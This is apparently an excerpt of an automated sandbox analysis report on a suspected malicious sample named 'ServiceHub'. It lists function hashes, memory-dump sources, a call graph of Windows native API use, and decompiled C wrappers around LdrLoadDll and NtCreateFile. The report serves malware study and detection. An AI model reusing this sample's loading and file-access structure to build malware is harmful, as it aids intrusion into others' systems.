                                          • Snapshot File: hcaresult_13_2_307d000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c0297fb7c51b8c754ff0eda2bef8a2f6932604067ab839dcb5705b69c0cb936c
                                          • Instruction ID: 5da26afc423cefecfaaa9de2c7d3e52b19595964605ba485c1dbebf4a69bc1fb
                                          • Opcode Fuzzy Hash: c0297fb7c51b8c754ff0eda2bef8a2f6932604067ab839dcb5705b69c0cb936c
                                          • Instruction Fuzzy Hash: C32129B1904240DFDB05DF14D9C0B1BBFA5FF88768F248AA9E8054F216C336D856DBA5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0308D01C Relevance: .1, Instructions: 72COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 0000000D.00000002.528307280.000000000308D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0308D000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_13_2_308d000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3da0af0424c03979db963cf7bc02308aaa9a1ca1985dad57846419097f3af81f
                                          • Instruction ID: b42975c41570f0548a995b6355058fad5946e2a8f3295bcb8f92934a4c32ddcb
                                          • Opcode Fuzzy Hash: 3da0af0424c03979db963cf7bc02308aaa9a1ca1985dad57846419097f3af81f
                                          • Instruction Fuzzy Hash: 5021F275604240EFDB15EF14D9C0B1ABBA5FB84324F24CBA9D88A4B386C736D847CA61
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0308D007 Relevance: .1, Instructions: 61COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 0000000D.00000002.528307280.000000000308D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0308D000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_13_2_308d000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 428afd1c5439215859073ccf8fe615e8a91d131833a5676d61aaa9418479d165
                                          • Instruction ID: 3b890f0ee79758ef8cdad34f96529fd5f64ae6dc0bd42da9ae827d87529b11a9
                                          • Opcode Fuzzy Hash: 428afd1c5439215859073ccf8fe615e8a91d131833a5676d61aaa9418479d165
                                          • Instruction Fuzzy Hash: 602195755093808FD712DF24D590715BFB1EB46214F28C6DAD8858F697C33AD40ACB62
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0307D4D3 Relevance: .1, Instructions: 56COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 0000000D.00000002.528119089.000000000307D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0307D000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_13_2_307d000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b3d282c62180620417641dd9b9a0e49e7b7255b4f86f8dc055538552fd58bc37
                                          • Instruction ID: 29d0343a0fc2e405c91114319434d033e9f6a29d95a75e714445bfecd42c3621
                                          • Opcode Fuzzy Hash: b3d282c62180620417641dd9b9a0e49e7b7255b4f86f8dc055538552fd58bc37
                                          • Instruction Fuzzy Hash: 5E11E676904280CFCB16CF14D5C4B16BFB1FF84324F28C6A9D8050B616C33AD456CBA1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Execution Graph

                                          Execution Coverage:4.4%
                                          Dynamic/Decrypted Code Coverage:2.9%
                                          Signature Coverage:5%
                                          Total number of Nodes:623
                                          Total number of Limit Nodes:69
                                          execution_graph 30933 401b24 30934 401b39 30933->30934 30937 425f43 30934->30937 30940 422883 30937->30940 30941 4228a9 30940->30941 30954 40ee93 30941->30954 30943 4228b5 30953 401b98 30943->30953 30962 413303 30943->30962 30945 4228d4 30948 4228e7 30945->30948 30974 4132c3 30945->30974 30949 4228fc 30948->30949 30983 421513 30948->30983 30979 404d23 30949->30979 30951 42290b 30952 421513 2 API calls 30951->30952 30952->30953 30986 40ede3 30954->30986 30956 40eea0 30957 40eea7 30956->30957 30998 40ed73 30956->30998 30957->30943 30963 41332f 30962->30963 31417 4103d3 30963->31417 30965 413341 31421 4131d3 30965->31421 30968 413374 30972 4212f3 2 API calls 30968->30972 30973 413385 30968->30973 30969 41335c 30970 413367 30969->30970 30971 4212f3 2 API calls 30969->30971 30970->30945 30971->30970 30972->30973 30973->30945 30975 41c7f3 LdrLoadDll 30974->30975 30976 4132e2 30975->30976 30977 4132e9 30976->30977 30978 4132eb GetUserGeoID 30976->30978 30977->30948 30978->30948 30980 404d7a 30979->30980 30982 404d87 30980->30982 31440 410d63 30980->31440 30982->30951 30984 421e33 LdrLoadDll 30983->30984 30985 421532 ExitProcess 30984->30985 30985->30949 31017 41fa93 30986->31017 30990 40ee10 30990->30956 30991 40ee03 30991->30990 31024 4221c3 30991->31024 30993 40ee50 30993->30990 31035 40ec13 30993->31035 30995 40ee6f 31041 40e673 LdrLoadDll 30995->31041 30997 40ee81 30997->30956 31392 4224c3 30998->31392 31001 4224c3 LdrLoadDll 31002 40eda4 31001->31002 31003 4224c3 LdrLoadDll 31002->31003 31004 40edc0 31003->31004 31005 4130c3 31004->31005 31006 4130dc 31005->31006 31400 410253 31006->31400 31008 4130ef 31404 421043 31008->31404 31011 40eeb8 31011->30943 31013 413119 31014 413144 31013->31014 31410 4210c3 31013->31410 31016 4212f3 2 API calls 31014->31016 31016->31011 31018 41faa2 31017->31018 31042 41c7f3 31018->31042 31020 40edfa 31021 41f953 31020->31021 31048 421463 31021->31048 31025 4221dc 31024->31025 31055 41c3e3 31025->31055 31027 4221f4 31028 4221fd 31027->31028 31094 421ff3 31027->31094 31028->30993 31030 422211 31030->31028 31111 420d63 31030->31111 31032 42224c 31116 422d93 31032->31116 31038 40ec2d 31035->31038 31370 40c1f3 31035->31370 31037 40ec34 31037->30995 31038->31037 31383 40c4b3 31038->31383 31041->30997 31043 41c80d 31042->31043 31044 41c801 31042->31044 31043->31020 31044->31043 31047 41cc73 LdrLoadDll 31044->31047 31046 41c95f 31046->31020 31047->31046 31051 421e33 31048->31051 31050 41f968 31050->30991 31052 421ebe 31051->31052 31054 421e42 31051->31054 31052->31050 31053 41c7f3 LdrLoadDll 31053->31052 31054->31052 31054->31053 31056 41c726 31055->31056 31066 41c3f7 31055->31066 31056->31027 31059 41c515 31059->31027 31060 41c528 31122 4211c3 31060->31122 31061 41c50b 31179 4212c3 LdrLoadDll 31061->31179 31064 41c54f 31065 422d93 2 API calls 31064->31065 31069 41c55b 31065->31069 31066->31056 31119 420ab3 31066->31119 31067 41c6ea 31070 4212f3 2 API calls 31067->31070 31068 41c700 31188 41c113 LdrLoadDll NtReadFile NtClose 31068->31188 31069->31059 31069->31067 31069->31068 31074 41c5f3 31069->31074 31071 41c6f1 31070->31071 31071->31027 31073 41c713 31073->31027 31075 41c65a 31074->31075 31077 41c602 31074->31077 31075->31067 31076 41c66d 31075->31076 31181 421143 31076->31181 31079 41c607 31077->31079 31080 41c61b 31077->31080 31180 41bfd3 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk 31079->31180 31083 41c620 31080->31083 31084 41c638 31080->31084 31125 41c073 31083->31125 31084->31071 31137 41bd93 31084->31137 31086 41c611 31086->31027 31088 41c6cd 31185 4212f3 31088->31185 31089 41c62e 31089->31027 31092 41c650 31092->31027 31093 41c6d9 31093->31027 31095 42200e 31094->31095 31096 422020 31095->31096 31206 422d03 31095->31206 31096->31030 31098 422040 31209 41b9f3 31098->31209 31100 422063 31100->31096 31101 41b9f3 3 API calls 31100->31101 31103 422085 31101->31103 31103->31096 31241 41cd43 31103->31241 31104 42210d 31105 42211d 31104->31105 31336 421db3 LdrLoadDll 31104->31336 31252 421c23 31105->31252 31108 42214b 31331 420d23 31108->31331 31110 422178 31110->31030 31112 421e33 LdrLoadDll 31111->31112 31113 420d7f 31112->31113 31364 11e967a 31113->31364 31114 420d9a 31114->31032 31367 4214d3 31116->31367 31118 42227a 31118->30993 31120 421e33 LdrLoadDll 31119->31120 31121 41c4dc 31120->31121 31121->31059 31121->31060 31121->31061 31123 421e33 LdrLoadDll 31122->31123 31124 4211df NtCreateFile 31123->31124 31124->31064 31126 41c08f 31125->31126 31127 421143 LdrLoadDll 31126->31127 31128 41c0b0 31127->31128 31129 41c0b7 31128->31129 31130 41c0cb 31128->31130 31132 4212f3 2 API calls 31129->31132 31131 4212f3 2 API calls 31130->31131 31133 41c0d4 31131->31133 31134 41c0c0 31132->31134 31189 422eb3 LdrLoadDll RtlAllocateHeap 31133->31189 31134->31089 31136 41c0df 31136->31089 31138 41be11 31137->31138 31139 41bdde 31137->31139 31140 41bf5c 31138->31140 31145 41be2d 31138->31145 31141 421143 LdrLoadDll 31139->31141 31142 421143 LdrLoadDll 31140->31142 31143 41bdf9 31141->31143 31148 41bf77 31142->31148 31144 4212f3 2 API calls 31143->31144 31146 41be02 31144->31146 31147 421143 LdrLoadDll 31145->31147 31146->31092 31149 41be48 31147->31149 31202 421183 LdrLoadDll 31148->31202 31151 41be64 31149->31151 31152 41be4f 31149->31152 31155 41be69 31151->31155 31156 41be7f 31151->31156 31154 4212f3 2 API calls 31152->31154 31153 41bfb1 31157 4212f3 2 API calls 31153->31157 31158 41be58 31154->31158 31159 4212f3 2 API calls 31155->31159 31164 41be84 31156->31164 31190 422e73 31156->31190 31160 41bfbc 31157->31160 31158->31092 31161 41be72 31159->31161 31160->31092 31161->31092 31172 41be96 31164->31172 31193 421273 31164->31193 31165 41beea 31166 41bf01 31165->31166 31201 421103 LdrLoadDll 31165->31201 31167 41bf08 31166->31167 31168 41bf1d 31166->31168 31170 4212f3 2 API calls 31167->31170 31171 4212f3 2 API calls 31168->31171 31170->31172 31173 41bf26 31171->31173 31172->31092 31174 41bf52 31173->31174 31196 422b83 31173->31196 31174->31092 31176 41bf3d 31177 422d93 2 API calls 31176->31177 31178 41bf46 31177->31178 31178->31092 31179->31059 31180->31086 31182 421e33 LdrLoadDll 31181->31182 31183 41c6b5 31182->31183 31184 421183 LdrLoadDll 31183->31184 31184->31088 31186 421e33 LdrLoadDll 31185->31186 31187 42130f NtClose 31186->31187 31187->31093 31188->31073 31189->31136 31203 421493 31190->31203 31192 422e8e 31192->31164 31194 421e33 LdrLoadDll 31193->31194 31195 42128f NtReadFile 31194->31195 31195->31165 31197 422b90 31196->31197 31198 422ba7 31196->31198 31197->31198 31199 422e73 2 API calls 31197->31199 31198->31176 31200 422bbe 31199->31200 31200->31176 31201->31166 31202->31153 31204 421e33 LdrLoadDll 31203->31204 31205 4214af RtlAllocateHeap 31204->31205 31205->31192 31337 4213a3 31206->31337 31208 422d34 31208->31098 31210 41ba04 31209->31210 31211 41ba0c 31209->31211 31210->31100 31240 41bcdf 31211->31240 31340 423f13 31211->31340 31213 41ba60 31214 423f13 2 API calls 31213->31214 31217 41ba6b 31214->31217 31215 41bab9 31218 423f13 2 API calls 31215->31218 31217->31215 31219 424043 3 API calls 31217->31219 31351 423fb3 LdrLoadDll RtlAllocateHeap RtlFreeHeap 31217->31351 31221 41bacd 31218->31221 31219->31217 31220 41bb2a 31222 423f13 2 API calls 31220->31222 31221->31220 31345 424043 31221->31345 31223 41bb40 31222->31223 31225 41bb7d 31223->31225 31227 424043 3 API calls 31223->31227 31226 423f13 2 API calls 31225->31226 31228 41bb88 31226->31228 31227->31223 31229 41bbc2 31228->31229 31230 424043 3 API calls 31228->31230 31352 423f73 LdrLoadDll RtlFreeHeap 31229->31352 31230->31228 31232 41bcb7 31353 423f73 LdrLoadDll RtlFreeHeap 31232->31353 31234 41bcc1 31354 423f73 LdrLoadDll RtlFreeHeap 31234->31354 31236 41bccb 31355 423f73 LdrLoadDll RtlFreeHeap 31236->31355 31238 41bcd5 31356 423f73 LdrLoadDll RtlFreeHeap 31238->31356 31240->31100 31242 41cd54 31241->31242 31243 41c3e3 8 API calls 31242->31243 31248 41cd6a 31243->31248 31244 41cd73 31244->31104 31245 41cdaa 31246 422d93 2 API calls 31245->31246 31247 41cdbb 31246->31247 31247->31104 31248->31244 31248->31245 31249 41cdf6 31248->31249 31250 422d93 2 API calls 31249->31250 31251 41cdfb 31250->31251 31251->31104 31357 421ab3 31252->31357 31254 421c37 31255 421ab3 LdrLoadDll 31254->31255 31256 421c40 31255->31256 31257 421ab3 LdrLoadDll 31256->31257 31258 421c49 31257->31258 31259 421ab3 LdrLoadDll 31258->31259 31260 421c52 31259->31260 31261 421ab3 LdrLoadDll 31260->31261 31262 421c5b 31261->31262 31263 421ab3 LdrLoadDll 31262->31263 31264 421c64 31263->31264 31265 421ab3 LdrLoadDll 31264->31265 31266 421c70 31265->31266 31267 421ab3 LdrLoadDll 31266->31267 31268 421c79 31267->31268 31269 421ab3 LdrLoadDll 31268->31269 31270 421c82 31269->31270 31271 421ab3 LdrLoadDll 31270->31271 31272 421c8b 31271->31272 31273 421ab3 LdrLoadDll 31272->31273 31274 421c94 31273->31274 31275 421ab3 LdrLoadDll 31274->31275 31276 421c9d 31275->31276 31277 421ab3 LdrLoadDll 31276->31277 31278 421ca9 31277->31278 31279 421ab3 LdrLoadDll 31278->31279 31280 421cb2 31279->31280 31281 421ab3 LdrLoadDll 31280->31281 31282 421cbb 31281->31282 31283 421ab3 LdrLoadDll 31282->31283 31284 421cc4 31283->31284 31285 421ab3 LdrLoadDll 31284->31285 31286 421ccd 31285->31286 31287 421ab3 LdrLoadDll 31286->31287 31288 421cd6 31287->31288 31289 421ab3 LdrLoadDll 31288->31289 31290 421ce2 31289->31290 31291 421ab3 LdrLoadDll 31290->31291 31292 421ceb 31291->31292 31293 421ab3 LdrLoadDll 31292->31293 31294 421cf4 31293->31294 31295 421ab3 LdrLoadDll 31294->31295 31296 421cfd 31295->31296 31297 421ab3 LdrLoadDll 31296->31297 31298 421d06 31297->31298 31299 421ab3 LdrLoadDll 31298->31299 31300 421d0f 31299->31300 31301 421ab3 LdrLoadDll 31300->31301 31302 421d1b 31301->31302 31303 421ab3 LdrLoadDll 31302->31303 31304 421d24 31303->31304 31305 421ab3 LdrLoadDll 31304->31305 31306 421d2d 31305->31306 31307 421ab3 LdrLoadDll 31306->31307 31308 421d36 31307->31308 31309 421ab3 LdrLoadDll 31308->31309 31310 421d3f 31309->31310 31311 421ab3 LdrLoadDll 31310->31311 31312 421d48 31311->31312 31313 421ab3 LdrLoadDll 31312->31313 31314 421d54 31313->31314 31315 421ab3 LdrLoadDll 31314->31315 31316 421d5d 31315->31316 31317 421ab3 LdrLoadDll 31316->31317 31318 421d66 31317->31318 31319 421ab3 LdrLoadDll 31318->31319 31320 421d6f 31319->31320 31321 421ab3 LdrLoadDll 31320->31321 31322 421d78 31321->31322 31323 421ab3 LdrLoadDll 31322->31323 31324 421d81 31323->31324 31325 421ab3 LdrLoadDll 31324->31325 31326 421d8d 31325->31326 31327 421ab3 LdrLoadDll 31326->31327 31328 421d96 31327->31328 31329 421ab3 LdrLoadDll 31328->31329 31330 421d9f 31329->31330 31330->31108 31332 421e33 LdrLoadDll 31331->31332 31333 420d3f 31332->31333 31363 11e9860 LdrInitializeThunk 31333->31363 31334 420d56 31334->31110 31336->31105 31338 421e33 LdrLoadDll 31337->31338 31339 4213bf NtAllocateVirtualMemory 31338->31339 31339->31208 31341 423f23 31340->31341 31342 423f29 31340->31342 31341->31213 31343 422e73 2 API calls 31342->31343 31344 423f4f 31343->31344 31344->31213 31346 423fb3 31345->31346 31347 424010 31346->31347 31348 422e73 2 API calls 31346->31348 31347->31221 31349 423fed 31348->31349 31350 422d93 2 API calls 31349->31350 31350->31347 31351->31217 31352->31232 31353->31234 31354->31236 31355->31238 31356->31240 31358 421ace 31357->31358 31359 41c7f3 LdrLoadDll 31358->31359 31360 421aee 31359->31360 31361 41c7f3 LdrLoadDll 31360->31361 31362 421ba2 31360->31362 31361->31362 31362->31254 31362->31362 31363->31334 31365 11e968f LdrInitializeThunk 31364->31365 31366 11e9681 31364->31366 31365->31114 31366->31114 31368 421e33 LdrLoadDll 31367->31368 31369 4214ef RtlFreeHeap 31368->31369 31369->31118 31371 40c203 31370->31371 31372 40c1fe 31370->31372 31373 422d03 2 API calls 31371->31373 31372->31038 31379 40c228 31373->31379 31374 40c28f 31374->31038 31375 420d23 2 API calls 31375->31379 31376 40c295 31377 40c2bf 31376->31377 31380 421423 2 API calls 31376->31380 31377->31038 31379->31374 31379->31375 31379->31376 31381 422d03 2 API calls 31379->31381 31386 421423 31379->31386 31382 40c2b0 31380->31382 31381->31379 31382->31038 31384 421423 2 API calls 31383->31384 31385 40c4d5 31384->31385 31385->30995 31387 421e33 LdrLoadDll 31386->31387 31388 42143f 31387->31388 31391 11e96e0 LdrInitializeThunk 31388->31391 31389 421456 31389->31379 31391->31389 31393 4224e6 31392->31393 31396 40ff03 31393->31396 31397 40ff27 31396->31397 31398 40ff63 LdrLoadDll 31397->31398 31399 40ed90 31397->31399 31398->31399 31399->31001 31401 410276 31400->31401 31403 4102f3 31401->31403 31415 420af3 LdrLoadDll 31401->31415 31403->31008 31405 421e33 LdrLoadDll 31404->31405 31406 413102 31405->31406 31406->31011 31407 421633 31406->31407 31408 421e33 LdrLoadDll 31407->31408 31409 421652 LookupPrivilegeValueW 31408->31409 31409->31013 31411 421e33 LdrLoadDll 31410->31411 31412 4210df 31411->31412 31416 11e9910 LdrInitializeThunk 31412->31416 31413 4210fe 31413->31014 31415->31403 31416->31413 31418 4103fa 31417->31418 31419 410253 LdrLoadDll 31418->31419 31420 41045d 31419->31420 31420->30965 31422 4131ed 31421->31422 31430 4132a3 31421->31430 31423 410253 LdrLoadDll 31422->31423 31424 41320f 31423->31424 31431 420da3 31424->31431 31426 413251 31434 420de3 31426->31434 31429 4212f3 2 API calls 31429->31430 31430->30968 31430->30969 31432 421e33 LdrLoadDll 31431->31432 31433 420dbf 31432->31433 31433->31426 31435 421e33 LdrLoadDll 31434->31435 31436 420dff 31435->31436 31439 11e9fe0 LdrInitializeThunk 31436->31439 31437 413297 31437->31429 31439->31437 31441 410d8e 31440->31441 31442 4103d3 LdrLoadDll 31441->31442 31443 410de5 31442->31443 31478 410053 31443->31478 31445 410e0b 31477 41128b 31445->31477 31487 41bd23 31445->31487 31447 410e7c 31447->31477 31490 40ce23 31447->31490 31449 410ec0 31449->31477 31514 421363 31449->31514 31453 410f1d 31454 410f24 31453->31454 31455 410f3b 31453->31455 31457 422d93 2 API calls 31454->31457 31526 420e73 31455->31526 31458 410f31 31457->31458 31458->30982 31459 410ff5 31460 422d93 2 API calls 31459->31460 31461 411002 31460->31461 31461->30982 31462 410f62 31462->31459 31463 413393 3 API calls 31462->31463 31464 410fee 31463->31464 31464->31459 31465 41100c 31464->31465 31466 422d93 2 API calls 31465->31466 31467 411033 31466->31467 31531 420ec3 31467->31531 31470 420e73 2 API calls 31471 411071 31470->31471 31471->31477 31536 420c83 31471->31536 31474 411240 31475 41125a 31474->31475 31541 413563 31474->31541 31476 421513 2 API calls 31475->31476 31476->31477 31477->30982 31479 410060 31478->31479 31480 410064 31478->31480 31479->31445 31481 4100af 31480->31481 31483 41007d 31480->31483 31546 420b33 LdrLoadDll 31481->31546 31545 420b33 LdrLoadDll 31483->31545 31484 4100c0 31484->31445 31486 41009f 31486->31445 31488 413393 3 API calls 31487->31488 31489 41bd4d 31488->31489 31489->31447 31492 40ce75 31490->31492 31495 40ce3d 31490->31495 31491 40d079 31491->31449 31492->31491 31494 40c1f3 4 API calls 31492->31494 31496 40cf4f 31492->31496 31503 40ceaf 31494->31503 31495->31491 31495->31492 31497 413563 2 API calls 31495->31497 31547 40d083 31495->31547 31496->31491 31498 40c1f3 4 API calls 31496->31498 31513 40d02f 31496->31513 31497->31495 31508 40cf8c 31498->31508 31500 40d043 31500->31491 31595 413603 10 API calls 31500->31595 31502 40d059 31502->31491 31596 413603 10 API calls 31502->31596 31503->31496 31507 40cf45 31503->31507 31561 40cb03 31503->31561 31505 40d06f 31505->31449 31509 40c4b3 2 API calls 31507->31509 31510 40cb03 18 API calls 31508->31510 31511 40d025 31508->31511 31508->31513 31509->31496 31510->31508 31512 40c4b3 2 API calls 31511->31512 31512->31513 31513->31491 31594 413603 10 API calls 31513->31594 31515 421e33 LdrLoadDll 31514->31515 31516 42137f 31515->31516 31680 11e98f0 LdrInitializeThunk 31516->31680 31517 410efa 31519 413393 31517->31519 31520 4133b0 31519->31520 31681 420e23 31520->31681 31523 4133f8 31523->31453 31524 420e73 2 API calls 31525 413421 31524->31525 31525->31453 31527 421e33 LdrLoadDll 31526->31527 31528 420e8f 31527->31528 31687 11e9780 LdrInitializeThunk 31528->31687 31529 420ebe 31529->31462 31532 421e33 LdrLoadDll 31531->31532 31533 420edf 31532->31533 31688 11e97a0 LdrInitializeThunk 31533->31688 31534 411047 31534->31470 31537 421e33 LdrLoadDll 31536->31537 31538 420c9f 31537->31538 31689 11e9a20 LdrInitializeThunk 31538->31689 31539 420cae 31539->31474 31542 413576 31541->31542 31690 420cf3 31542->31690 31545->31486 31546->31484 31548 40d0aa 31547->31548 31549 40c1f3 4 API calls 31548->31549 31556 40d291 31548->31556 31550 40d11e 31549->31550 31551 40c4b3 2 API calls 31550->31551 31550->31556 31552 40d1b0 31551->31552 31553 40c1f3 4 API calls 31552->31553 31552->31556 31555 40d1c5 31553->31555 31554 40c4b3 2 API calls 31558 40d23c 31554->31558 31555->31554 31555->31556 31556->31495 31557 40c1f3 4 API calls 31557->31558 31558->31556 31558->31557 31559 40cb03 18 API calls 31558->31559 31560 40c4b3 2 API calls 31558->31560 31559->31558 31560->31558 31562 40cb28 31561->31562 31597 420b73 31562->31597 31565 40cb7c 31565->31503 31566 40cbfd 31600 4134e3 31566->31600 31567 420d63 2 API calls 31568 40cba0 31567->31568 31568->31566 31570 40cbab 31568->31570 31572 40cc29 31570->31572 31575 4112a3 5 API calls 31570->31575 31571 40cc18 31573 40cc35 31571->31573 31574 40cc1f 31571->31574 31572->31503 31608 420bf3 31573->31608 31576 4212f3 2 API calls 31574->31576 31577 40cbc5 31575->31577 31576->31572 31577->31572 31659 40c933 12 API calls 31577->31659 31581 40cbf3 31581->31503 31583 40cc83 31583->31572 31633 420c23 31583->31633 31588 420c83 2 API calls 31589 40ccd1 31588->31589 31590 4212f3 2 API calls 31589->31590 31591 40ccdb 31590->31591 31643 40c703 31591->31643 31593 40ccef 31593->31503 31594->31500 31595->31502 31596->31505 31598 421e33 LdrLoadDll 31597->31598 31599 40cb72 31598->31599 31599->31565 31599->31566 31599->31567 31660 420bb3 31600->31660 31604 413554 31604->31571 31606 4212f3 2 API calls 31607 413548 31606->31607 31607->31571 31609 421e33 LdrLoadDll 31608->31609 31610 420c0f 31609->31610 31669 11ea3b0 LdrInitializeThunk 31610->31669 31611 40cc63 31613 4112a3 31611->31613 31615 4112d1 31613->31615 31614 413393 3 API calls 31616 411337 31614->31616 31615->31614 31617 411384 31616->31617 31618 420e73 2 API calls 31616->31618 31617->31583 31619 411362 31618->31619 31620 41136c 31619->31620 31623 411390 31619->31623 31621 420ec3 2 API calls 31620->31621 31622 41137a 31621->31622 31624 4212f3 2 API calls 31622->31624 31625 411402 31623->31625 31626 41141f 31623->31626 31624->31617 31627 4212f3 2 API calls 31625->31627 31628 420ec3 2 API calls 31626->31628 31629 41140c 31627->31629 31630 411432 31628->31630 31629->31583 31631 4212f3 2 API calls 31630->31631 31632 41143c 31631->31632 31632->31583 31634 421e33 LdrLoadDll 31633->31634 31635 420c3f 31634->31635 31670 11ead30 LdrInitializeThunk 31635->31670 31636 40cca8 31638 420cb3 31636->31638 31639 421e33 LdrLoadDll 31638->31639 31640 420ccf 31639->31640 31671 11e9950 LdrInitializeThunk 31640->31671 31641 40ccc2 31641->31588 31644 40c72c 31643->31644 31672 40c663 31644->31672 31646 413563 2 API calls 31648 40c73f 31646->31648 31647 421363 2 API calls 31647->31648 31648->31646 31648->31647 31649 40c7ca 31648->31649 31651 40c7c5 31648->31651 31649->31593 31650 4212f3 2 API calls 31652 40c7fd 31650->31652 31651->31650 31652->31649 31653 420b73 LdrLoadDll 31652->31653 31654 40c862 31653->31654 31654->31649 31655 420bb3 LdrLoadDll 31654->31655 31656 40c8c6 31655->31656 31656->31649 31657 41c3e3 8 API calls 31656->31657 31658 40c91b 31657->31658 31658->31593 31659->31581 31661 421e33 LdrLoadDll 31660->31661 31662 413527 31661->31662 31662->31607 31663 420c53 31662->31663 31664 421e33 LdrLoadDll 31663->31664 31665 420c6f 31664->31665 31668 11eb040 LdrInitializeThunk 31665->31668 31666 413538 31666->31604 31666->31606 31668->31666 31669->31611 31670->31636 31671->31641 31673 40c67d 31672->31673 31674 40ff03 LdrLoadDll 31673->31674 31675 40c698 31674->31675 31676 41c7f3 LdrLoadDll 31675->31676 31677 40c6b0 31676->31677 31678 40c6b9 PostThreadMessageW 31677->31678 31679 40c6cc 31677->31679 31678->31679 31679->31648 31680->31517 31682 421e33 LdrLoadDll 31681->31682 31683 420e3f 31682->31683 31686 11e99a0 LdrInitializeThunk 31683->31686 31684 4133f1 31684->31523 31684->31524 31686->31684 31687->31529 31688->31534 31689->31539 31691 421e33 LdrLoadDll 31690->31691 31692 420d0f 31691->31692 31695 11e9840 LdrInitializeThunk 31692->31695 31693 4135a1 31693->31474 31695->31693 31697 11e9540 LdrInitializeThunk

                                          Executed Functions

                                          Function 0040FF03 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 174 40ff03-40ff2c call 423b33 177 40ff32-40ff40 call 424053 174->177 178 40ff2e-40ff31 174->178 181 40ff50-40ff61 call 4223c3 177->181 182 40ff42-40ff4d call 4242d3 177->182 187 40ff63-40ff77 LdrLoadDll 181->187 188 40ff7a-40ff7d 181->188 182->181 187->188
                                          C-Code - Quality: 100%
                                          			E0040FF03(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_v8 =  &_v536;
				_t15 = E00423B33( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E00424053(__eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E004242D3( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E004223C3(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}













                                          0x0040ff1f
                                          0x0040ff22
                                          0x0040ff27
                                          0x0040ff2c
                                          0x0040ff36
                                          0x0040ff3b
                                          0x0040ff3e
                                          0x0040ff40
                                          0x0040ff48
                                          0x0040ff4d
                                          0x0040ff4d
                                          0x0040ff54
                                          0x0040ff5c
                                          0x0040ff5f
                                          0x0040ff61
                                          0x0040ff75
                                          0x00000000
                                          0x0040ff77
                                          0x0040ff7d
                                          0x0040ff31
                                          0x0040ff31
                                          0x0040ff31

                                          APIs
                                          • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040FF75
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: Load
                                          • String ID:
                                          • API String ID: 2234796835-0
                                          • Opcode ID: 3a01ba0d21a43c5107a2a4af2d7fd3e53cea235d3deee8cf30986ff25fe98f17
                                          • Instruction ID: cc4b77bbd65c78aabf3eaa6cb6ba70d929e7112deb8c633f6d6ab31f75b9db63
                                          • Opcode Fuzzy Hash: 3a01ba0d21a43c5107a2a4af2d7fd3e53cea235d3deee8cf30986ff25fe98f17
                                          • Instruction Fuzzy Hash: 370152B1E0020EA7DB10DBA1DC42F9EB7789B54304F0041A6F908A7280F674EB188B55
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 004211C3 Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 189 4211c3-421214 call 421e33 NtCreateFile
                                          C-Code - Quality: 100%
                                          			E004211C3(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;

				_t3 = _a4 + 0xa70; // 0xa70
				E00421E33( *((intOrPtr*)(_a4 + 8)), _t15, _t3,  *((intOrPtr*)(_a4 + 8)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}




                                          0x004211d2
                                          0x004211da
                                          0x00421210
                                          0x00421214

                                          APIs
                                          • NtCreateFile.NTDLL(00000060,00000005,00000000,0041C54F,00000005,FFFFFFFF,?,?,FFFFFFFF,00000005,0041C54F,00000000,00000005,00000060,00000000,00000000), ref: 00421210
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
